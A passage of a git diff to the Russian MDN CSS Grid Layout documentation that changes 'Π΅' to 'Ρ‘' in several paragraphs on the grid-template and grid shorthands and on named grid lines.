ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ сокращСния, ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ всС, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС.</p>
@@ -415,7 +415,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
<h3 id="grid-template"><code>grid-template</code></h3>
-<p>Бвойство {{cssxref ("grid-template")}} Π·Π°Π΄Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства:</p>
+<p>Бвойство {{cssxref ("grid-template")}} Π·Π°Π΄Π°Ρ‘Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства:</p>
<ul>
<li>{{cssxref("grid-template-rows")}}</li>
@@ -425,7 +425,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
<p>Бвойство называСтся явным сокращСниСм сСтки, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ устанавливаСт Ρ‚Π΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚Π΅, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ опрСдСляСтС ΡΠ²Π½ΡƒΡŽ сСтку, Π° Π½Π΅ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° Π»ΡŽΠ±Ρ‹Π΅ нСявныС строки ΠΈΠ»ΠΈ столбцы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ созданы.</p>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаСт ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{cssxref ("grid-template")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ совпадаСт с ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ, созданным Ρ€Π°Π½Π΅Π΅ Π² этом руководствС.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаёт ΠΌΠ°ΠΊΠ΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{cssxref ("grid-template")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ совпадаСт с ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ, созданным Ρ€Π°Π½Π΅Π΅ Π² этом руководствС.</p>
<pre class="brush: css">.wrapper {
display: grid;
@@ -443,7 +443,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
<h3 id="grid"><code>grid</code></h3>
-<p>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ {{cssxref ("grid")}} ΠΈΠ΄Π΅Ρ‚ Π΅Ρ‰Π΅ дальшС, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°Π΅Ρ‚ свойства, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ нСявной сСткой. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ:</p>
+<p>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ {{cssxref ("grid")}} ΠΈΠ΄Ρ‘Ρ‚ Π΅Ρ‰Ρ‘ дальшС, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°Ρ‘Ρ‚ свойства, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ нСявной сСткой. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ:</p>
<ul>
<li>{{cssxref("grid-template-rows")}}</li>
@@ -469,7 +469,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
<p>ΠœΡ‹ снова рассмотрим Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌΡ‹Π΅ этом сокращСниСм ΠΏΠΎΠ·ΠΆΠ΅ Π² этих руководствах, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ рассмотрим автоматичСскоС Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΈ свойство <code>grid-auto-flow</code>.</p>
-<p>Если Π²Ρ‹ ΠΏΡ€ΠΎΡ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ эти Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ руководства, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ сСтки с использованиСм Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠ³ΠΎ размСщСния ΠΈΠ»ΠΈ Π½Π°Π·Π²Π°Π½Π½Ρ‹Ρ… областСй. ΠŸΠΎΡ‚Ρ€Π°Ρ‚ΡŒΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя Π½Π° созданиС Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ±Ρ‰ΠΈΡ… шаблонов ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² с использованиСм сСтки, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π½ΠΎΠ²Ρ‹Ρ… Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² для изучСния, синтаксис ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ прост. По ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Π²Ρ‹, вСроятно, ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π΅Ρ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ вопросы ΠΈ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ΡΡŒ случаями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π΅Ρ‰Π΅ Π½Π΅ рассмотрСли. Π’ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… этих руководствах ΠΌΡ‹ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Ρ‚Π°Π»ΠΈ, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ Π² ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, - Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ с Π½ΠΈΠΌ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹Π΅ ΠΌΠ°ΠΊΠ΅Ρ‚Ρ‹.</p>
+<p>Если Π²Ρ‹ ΠΏΡ€ΠΎΡ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ эти Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ руководства, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ сСтки с использованиСм Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠ³ΠΎ размСщСния ΠΈΠ»ΠΈ Π½Π°Π·Π²Π°Π½Π½Ρ‹Ρ… областСй. ΠŸΠΎΡ‚Ρ€Π°Ρ‚ΡŒΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя Π½Π° созданиС Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ±Ρ‰ΠΈΡ… шаблонов ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² с использованиСм сСтки, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π½ΠΎΠ²Ρ‹Ρ… Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² для изучСния, синтаксис ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ прост. По ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Π²Ρ‹, вСроятно, ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π΅Ρ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ вопросы ΠΈ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ΡΡŒ случаями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ рассмотрСли. Π’ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… этих руководствах ΠΌΡ‹ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Ρ‚Π°Π»ΠΈ, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Π΅ Π² ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, - Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ с Π½ΠΈΠΌ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹Π΅ ΠΌΠ°ΠΊΠ΅Ρ‚Ρ‹.</p>
<section class="Quick_links" id="Quick_Links">
<ol>
diff --git a/files/ru/web/css/css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/index.html
index d02227c33f..3f345b98b8 100644
--- a/files/ru/web/css/css_grid_layout/index.html
+++ b/files/ru/web/css/css_grid_layout/index.html
@@ -9,7 +9,7 @@ translation_of: Web/CSS/CSS_Grid_Layout
<h2 id="Basic_Example" name="Basic_Example">Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° сСтка  состоящая ΠΈΠ· Ρ‚Ρ€Π΅Ρ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ минимальная ΡˆΠΈΡ€ΠΈΠ½Π° элСмСнтов строки установлСна Π² "100px", Π° максимальная Π² "auto". Grid-элСмСнты Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² сСткС Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° сСтка  состоящая ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ минимальная ΡˆΠΈΡ€ΠΈΠ½Π° элСмСнтов строки установлСна Π² "100px", Π° максимальная Π² "auto". Grid-элСмСнты Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² сСткС Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎ.</p>
<div id="example">
<div class="hidden">
diff --git a/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html
index 08e932f0b0..66e8c5ac2d 100644
--- a/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html
+++ b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html
@@ -3,7 +3,7 @@ title: Layout using named grid lines
slug: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
---
-<p>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… руководствах ΠΌΡ‹ рассматривали Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ элСмСнтов ΠΏΠΎ линиям, созданным ΠΏΡƒΡ‚Π΅ΠΌ опрСдСлСния Ρ‚Ρ€Π΅ΠΊΠΎΠ² сСтки, Π° Ρ‚Π°ΠΊΠΆΠ΅ способы размСщСния элСмСнтов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… областСй шаблона. Π’ этом руководствС ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ эти Π΄Π²Π΅ Π²Π΅Ρ‰ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΈΠ΅Β Π»ΠΈΠ½ΠΈΠΉ. ИмСнованиС Π»ΠΈΠ½ΠΈΠΉ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Π½ΠΎΒ  ΠΏΡ€ΠΈ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² сСтки ΠΈΠ½ΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ΡΡ ΠΎΡ‡Π΅Π½ΡŒ запутанный синтаксис. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ внСсти ΡΡΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ синтаксиса.</p>
+<p>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… руководствах ΠΌΡ‹ рассматривали Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ элСмСнтов ΠΏΠΎ линиям, созданным ΠΏΡƒΡ‚Ρ‘ΠΌ опрСдСлСния Ρ‚Ρ€Π΅ΠΊΠΎΠ² сСтки, Π° Ρ‚Π°ΠΊΠΆΠ΅ способы размСщСния элСмСнтов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… областСй шаблона. Π’ этом руководствС ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ эти Π΄Π²Π΅ Π²Π΅Ρ‰ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΈΠ΅Β Π»ΠΈΠ½ΠΈΠΉ. ИмСнованиС Π»ΠΈΠ½ΠΈΠΉ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Π½ΠΎΒ  ΠΏΡ€ΠΈ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² сСтки ΠΈΠ½ΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ΡΡ ΠΎΡ‡Π΅Π½ΡŒ запутанный синтаксис. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ внСсти ΡΡΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ синтаксиса.</p>
<h2 id="ИмСнованиС_Π»ΠΈΠ½ΠΈΠΉ_ΠΏΡ€ΠΈ_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ_сСтки">ИмСнованиС Π»ΠΈΠ½ΠΈΠΉ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ сСтки</h2>
@@ -29,7 +29,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
</pre>
</div>
-<p>ΠŸΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ сСтки я задаю линиям ΠΈΠΌΠ΅Π½Π°, помСщая ΠΈΡ…Β Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Ρ… скобок. ΠœΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π»ΡŽΠ±Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°, ΠΊΠ°ΠΊΠΈΠ΅ Π²Π°ΠΌ нравятся. Π― Π·Π°Π΄Π°Π» ΠΈΠΌΠ΅Π½Π°Β <code>main-start</code> для Π½Π°Ρ‡Π°Π»Π° ΠΈ <code>main-end</code> для ΠΊΠΎΠ½Ρ†Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΠΊΠ°ΠΊ для строк, Ρ‚Π°ΠΊ ΠΈ для столбцов. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»Β Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΡŒΠ½Ρ‹ΠΉ Π±Π»ΠΎΠΊ сСтки ΠΊΠ°ΠΊ <code>content-start</code> ΠΈ <code>content-end</code>, ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅ ΠΊΠ°ΠΊ для столбцов, Ρ‚Π°ΠΊ ΠΈ для строк. Но Π²Π°ΠΌ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Ρ‚ΡŒ всС Π»ΠΈΠ½ΠΈΠΈ Π² вашСй сСткС,Β ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Ρ‚ΡŒΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΠΎΡ€Π½Ρ‹Π΅Β Π»ΠΈΠ½ΠΈΠΈΒ Π²Π°ΡˆΠ΅Π³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
+<p>ΠŸΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ сСтки я задаю линиям ΠΈΠΌΠ΅Π½Π°, помСщая ΠΈΡ…Β Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Ρ… скобок. ΠœΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ Π»ΡŽΠ±Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°, ΠΊΠ°ΠΊΠΈΠ΅ Π²Π°ΠΌ нравятся. Π― Π·Π°Π΄Π°Π» ΠΈΠΌΠ΅Π½Π°Β <code>main-start</code> для Π½Π°Ρ‡Π°Π»Π° ΠΈ <code>main-end</code> для ΠΊΠΎΠ½Ρ†Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΊΠ°ΠΊ для строк, Ρ‚Π°ΠΊ ΠΈ для столбцов. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»Β Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΡŒΠ½Ρ‹ΠΉ Π±Π»ΠΎΠΊ сСтки ΠΊΠ°ΠΊ <code>content-start</code> ΠΈ <code>content-end</code>, ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅ ΠΊΠ°ΠΊ для столбцов, Ρ‚Π°ΠΊ ΠΈ для строк. Но Π²Π°ΠΌ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Ρ‚ΡŒ всС Π»ΠΈΠ½ΠΈΠΈ Π² вашСй сСткС,Β ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Ρ‚ΡŒΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΠΎΡ€Π½Ρ‹Π΅Β Π»ΠΈΠ½ΠΈΠΈΒ Π²Π°ΡˆΠ΅Π³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
<pre class="brush: css">.wrapper {
display: grid;
@@ -77,15 +77,15 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΒ Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΌΠ΅ΡˆΠΈΠ²Π°Ρ‚ΡŒ Π½ΠΎΠΌΠ΅Ρ€Π° строк ΠΈΠ»ΠΈ ΠΈΡ… ΠΈΠΌΠ΅Π½Π°. ИмСнованиС строк ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΡ€ΠΈ создании Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ пСрСопрСдСляСтС саму сСтку, Π° Π½Π΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ содСрТимого Π²Π½ΡƒΡ‚Ρ€ΠΈ сСтки.</p>
-<h3 id="ΠŸΡ€ΠΈΡΠ²ΠΎΠ΅Π½ΠΈΠ΅_линиям_Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ…_ΠΈΠΌΠ΅Π½">ΠŸΡ€ΠΈΡΠ²ΠΎΠ΅Π½ΠΈΠ΅ линиям Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΈΠΌΠ΅Π½</h3>
+<h3 id="ΠŸΡ€ΠΈΡΠ²ΠΎΠ΅Π½ΠΈΠ΅_линиям_Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ…_ΠΈΠΌΡ‘Π½">ΠŸΡ€ΠΈΡΠ²ΠΎΠ΅Π½ΠΈΠ΅ линиям Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΈΠΌΡ‘Π½</h3>
<p>ΠŸΡ€ΠΈ нСобходимости ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ строкС Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ. НапримСр, <code>sidebar-end</code> для ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ ΠΊΠΎΠ½Ρ†Π° области <code>sidebar</code>, ΠΈ <code>main-start</code> для Π½Π°Ρ‡Π°Π»Π° области <code>main</code>. Π£ΠΊΠ°ΠΆΠΈΡ‚Π΅ ΠΈΠΌΠ΅Π½Π° Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Ρ… скобок Ρ‡Π΅Ρ€Π΅Π· ΠΏΡ€ΠΎΠ±Π΅Π»Β <code>[sidebar-end main-start]</code>. Π’ дальнСйшСм Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ этой строкС ΠΏΠΎ Π»ΡŽΠ±ΠΎΠΌΡƒ ΠΈΠ· этих ΠΈΠΌΠ΅Π½.</p>
<h2 id="НСявныС_области_сСтки_ΠΈΠ·_ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ…_Π»ΠΈΠ½ΠΈΠΉ">НСявныС области сСтки ΠΈΠ· ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ</h2>
